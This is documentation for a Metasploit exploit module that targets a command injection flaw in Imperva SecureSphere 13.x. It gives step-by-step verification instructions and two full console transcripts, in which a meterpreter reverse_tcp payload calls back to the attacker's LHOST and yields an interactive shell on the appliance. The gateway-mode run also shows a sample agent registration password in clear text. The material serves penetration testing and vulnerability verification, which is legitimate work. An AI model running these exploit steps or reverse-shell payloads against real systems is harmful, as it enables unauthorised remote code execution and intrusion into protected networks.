## Description

This module exploits a command injection vulnerability in Imperva SecureSphere 13.x. The vulnerability exists in the PWS service, where Python CGIs didn't properly sanitize user supplied command parameters and directly passes them to corresponding CLI utility, leading to command injection. Agent registration credential is required to exploit SecureSphere in gateway mode.

## Vulnerable Application

Imperva SecureSphere 13.0/13.1/13.2

## Verification Steps

1. `use exploit/linux/http/imperva_securesphere_exec`
2. `set RHOST [TARGET IP]`
3. `set PASS [Agent registration password]` if the target has been set to gateway mode
4. Run `check`
5. Verify that the result is `The target is vulnerable.`
6. `set payload linux/x64/meterpreter/reverse_tcp`
7. `set LHOST [IP]`
8. Run `exploit`
9. Verify that the reverse shell is obtained

## Scenarios

Imperva Secure 13.0 Pre-FTL mode:
```
msf > use exploit/linux/http/imperva_securesphere_exec
msf exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201
RHOST => 192.168.146.201
msf exploit(linux/http/imperva_securesphere_exec) > check
[+] 192.168.146.201:443 The target is vulnerable.
msf exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215
LHOST => 192.168.146.215
msf exploit(linux/http/imperva_securesphere_exec) > show options

Module options (exploit/linux/http/imperva_securesphere_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASS                        no        Agent registration password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.146.201  yes       The target address range or CIDR identifier
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Use SSL
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /pws/impcli      no        The URI path to impcli
   TIMEOUT    3                no        HTTP connection timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   USER       imperva          no        Agent registration username
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.146.215  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Imperva SecureSphere 13.0/13.1/13.2


msf exploit(linux/http/imperva_securesphere_exec) > exploit

[*] Started reverse TCP handler on 192.168.146.215:4444
[*] Sending payload linux/x64/meterpreter/reverse_tcp
[*] Sending stage (816260 bytes) to 192.168.146.201
[*] Command Stager progress - 100.00% done (1321/1321 bytes)

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat 6.3 (Linux 2.6.32-279.el6.imp8.numa.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
Process 4965 created.
Channel 1 created.
id
uid=497(lighttpd) gid=497(lighttpd) groups=497(lighttpd)
/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:DE:50:99
          inet addr:192.168.146.201  Bcast:192.168.146.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fede:5099/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1331 errors:0 dropped:0 overruns:0 frame:0
          TX packets:825 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1790319 (1.7 MiB)  TX bytes:83116 (81.1 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.146.201 - Meterpreter session 1 closed.  Reason: User exit
```

Imperva SecureSphere 13.0 Gateway mode (Requires agent registration credential):
```
msf > use exploit/linux/http/imperva_securesphere_exec
msf exploit(linux/http/imperva_securesphere_exec) > set RHOST 192.168.146.201
RHOST => 192.168.146.201
msf exploit(linux/http/imperva_securesphere_exec) > set PASS lshy5782%lsLS
PASS => lshy5782%lsLS
msf exploit(linux/http/imperva_securesphere_exec) > check
[+] 192.168.146.201:443 The target is vulnerable.
msf exploit(linux/http/imperva_securesphere_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/imperva_securesphere_exec) > set LHOST 192.168.146.215
LHOST => 192.168.146.215
msf exploit(linux/http/imperva_securesphere_exec) > show options

Module options (exploit/linux/http/imperva_securesphere_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASS       lshy5782%lsLS    no        Agent registration password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.146.201  yes       The target address range or CIDR identifier
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Use SSL
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /pws/impcli      no        The URI path to impcli
   TIMEOUT    3                no        HTTP connection timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   USER       imperva          no        Agent registration username
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.146.215  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Imperva SecureSphere 13.0/13.1/13.2


msf exploit(linux/http/imperva_securesphere_exec) > exploit

[*] Started reverse TCP handler on 192.168.146.215:4444
[*] Sending payload linux/x64/meterpreter/reverse_tcp
[*] Sending stage (816260 bytes) to 192.168.146.201
[*] Command Stager progress - 100.00% done (1321/1321 bytes)

meterpreter > sysinfo
Computer     : 192.168.146.201
OS           : Red Hat 6.3 (Linux 2.6.32-279.el6.imp8.numa.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
Process 19634 created.
Channel 1 created.
id
uid=497(lighttpd) gid=497(lighttpd) groups=497(lighttpd)
/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:DE:50:99
          inet addr:192.168.146.201  Bcast:192.168.146.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fede:5099/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:651 errors:0 dropped:0 overruns:0 frame:0
          TX packets:451 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:894174 (873.2 KiB)  TX bytes:37181 (36.3 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:153 errors:0 dropped:0 overruns:0 frame:0
          TX packets:153 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:21579 (21.0 KiB)  TX bytes:21579 (21.0 KiB)

exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.146.201 - Meterpreter session 1 closed.  Reason: User exit
```
